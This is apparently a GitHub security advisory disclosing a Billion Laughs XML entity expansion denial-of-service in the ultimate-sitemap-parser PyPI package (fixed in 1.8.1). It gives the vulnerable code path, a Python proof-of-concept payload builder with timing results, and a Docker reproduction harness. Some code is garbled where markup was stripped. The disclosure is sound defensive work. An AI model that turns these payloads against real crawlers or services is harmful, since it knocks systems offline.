GitHub Advisoryadvisory · PyPI

GHSA-p5wc-9w9r-m232 Ultimate Sitemap Parser (USP): XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser

HIGH Published 2026-06-19 Modified 2026-06-19 Official page ↗
Ecosystem
PyPI
Packages
ultimate-sitemap-parser
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-776
Reviewed
2026-06-19

Affected packages

• PyPI ultimate-sitemap-parser: < 1.8.1 → fixed in 1.8.1

Description

XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser Summary `ultimate-sitemap-parser` version 1.8.0 and earlier parse attacker-controlled XML content using Python's `xml.parsers.expat` without any restriction on DTD declarations or recursive entity references. An attacker who can serve a malicious sitemap can trigger exponential XML entity expansion (the "Billion Laughs" attack), causing unbounded CPU and memory consumption in the victim process. No authentication, user interaction, or special configuration is required — the vulnerability is exploitable by default through any public-facing use of `sitemap_tree_for_homepage()` or `sitemap_from_str()`. Details The vulnerable code path begins at the public API entry points and flows to the Expat XML parser without any sanitization: 1. `usp/tree.py:42` — `sitemap_tree_for_homepage(homepage_url)` is the primary public entry point. 2. `usp/tree.py:133` — `sitemap_from_str(content)` is the secondary public entry point (also directly reachable from user code). 3. `usp/fetch_parse.py:141-145` — `SitemapFetcher._fetch()` retrieves the remote URL content. 4. `usp/fetch_parse.py:175` — The raw response becomes `response_content` (taint propagation point). 5. `usp/fetch_parse.py:441-450` — `XMLSitemapParser.sitemap()` creates an Expat parser and feeds the attacker-controlled content directly to it: ```python usp/fetch_parse.py:441-450 — VULNERABLE SINK parser = xml.parsers.expat.ParserCreate( namespace_separator=self.__XML_NAMESPACE_SEPARATOR ) ... handler assignments ... parser.Parse(self._content, is_final) # ', '') for i in range(1, level + 1): prev = "lol" if i == 1 else f"lol{i-1}" expansion = "".join(f"&{prev};" for _ in range(10)) lines.append(f' ') lines.append(']>') lines.append('') lines.append(f' http://example.com/&lol{level};') lines.append('') return "\n".join(lines) for level in [3, 4, 5, 6]: signal.signal(signal.SIGALRM, handler) signal.alarm(TIMEOUT) t = time.perf_counter() try: result = sitemap_from_str(build_payload(level)) elapsed = time.perf_counter() - t signal.alarm(0) pages = list(result.all_pages()) url_len = len(pages[0].url) if pages else 0 print(f"Level {level}: {elapsed:.4f}s url_len={url_len:,}") except TimedOut: elapsed = time.perf_counter() - t signal.alarm(0) print(f"Level {level}: TIMEOUT after {elapsed:.1f}s -- DoS confirmed") ``` Expected output (observed during dynamic reproduction): ``` Level 3 (10^3): 0.0054s url_len=3,019 Level 4 (10^4): 0.0321s url_len=30,019 Level 5 (10^5): 5.2845s url_len=300,019 Level 6 (10^6): TIMEOUT after 20.0011s -- DoS confirmed ``` Processing time grows exponentially: level 5 is ~165× slower than level 4, and level 6 exceeds the 20-second watchdog. This conclusively demonstrates unbounded resource consumption. Impact This is a Denial-of-Service (DoS) vulnerability via XML Entity Expansion (the "Billion Laughs" / CWE-776 pattern). Any application or service that uses `ultimate-sitemap-parser` to crawl external or user-supplied URLs is impacted. Who is affected: • Web crawlers and indexers that call `sitemap_tree_for_homepage()` against arbitrary URLs — a single malicious sitemap server can lock up the crawler process. • CI/CD pipelines and monitoring tools that periodically parse sitemaps as part of automated workflows. • Any application that passes unvalidated user input to `sitemap_from_str()`. Because no authentication, elevated privilege, or prior relationship is required (CVSS PR:N, UI:N), the attack surface is broad. An attacker only needs to operate a web server that returns a malicious sitemap when visited. Reproduction artifacts `Dockerfile` ```dockerfile FROM python:3.11-slim LABEL description="VULN-001: XML Entity Expansion (Billion Laughs) DoS PoC" \ target="GateNLP/ultimate-sitemap-parser =0.9.6, AbstractSitemap """ import signal import sys import time from usp.tree import sitemap_from_str TIMEOUT_SECONDS = 20 DOS_THRESHOLD_SECONDS = 2.0 # level 5 must exceed this to PASS class TimedOut(Exception): pass def _alarm_handler(signum, frame): raise TimedOut("SIGALRM fired") def build_billion_laughs_payload(level: int) -> str: """Build a Billion Laughs XML payload nested to `level` depth. Each level multiplies expansion by 10: level 3 -> 10^3 = 1,000 chars level 4 -> 10^4 = 10,000 chars level 5 -> 10^5 = 100,000 chars level 6 -> 10^6 = 1,000,000 chars """ lines = ['', "') for i in range(1, level + 1): prev = "lol" if i == 1 else f"lol{i - 1}" expansion = "".join(f"&{prev};" for _ in range(10)) lines.append(f' ') lines.append("]>") lines.append('') lines.append(f" http://example.com/&lol{level};") lines.append("") return "\n".join(lines) def parse_with_timeout(payload: str): """Parse payload under SIGALRM watchdog; return (elapsed, url_len, timed_out).""" signal.signal(signal.SIGALRM, _alarm_handler) signal.alarm(TIMEOUT_SECONDS) start = time.perf_counter() timed_out = False url_len = 0 try: result = sitemap_from_str(payload) elapsed = time.perf_counter() - start signal.alarm(0) pages = list(result.all_pages()) if pages: url_len = len(pages[0].url) except TimedOut: elapsed = time.perf_counter() - start timed_out = True signal.alarm(0) except Exception as exc: e…

Related

Weakness · CWE (1)

  • CWE-776 Improper Restriction of Recursive Entity References in DTDs weakness

References